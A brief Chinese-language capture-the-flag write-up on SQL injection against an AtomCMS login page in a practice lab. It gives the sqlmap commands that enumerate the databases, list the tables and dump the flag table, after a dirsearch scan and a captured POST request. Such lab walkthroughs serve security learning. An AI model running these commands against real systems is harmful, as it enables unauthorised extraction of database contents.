简单的sql注入
简介
AtomCMS SQL注入漏洞
正文
1.进入靶场,没发现什么东西,直接dirsearch扫目录
2.访问login.php3.随便输入数据,抓包
4.把POST包直接丢sqlmap跑,爆库
sqlmap -r 3322.txt --batch --dbs
5.爆表
sqlmap -r 3322.txt --batch -D atomcms --tables
6.发现flag,直接爆数据
sqlmap -r 3322.txt --batch -D atomcms -T flag --dump
得到flag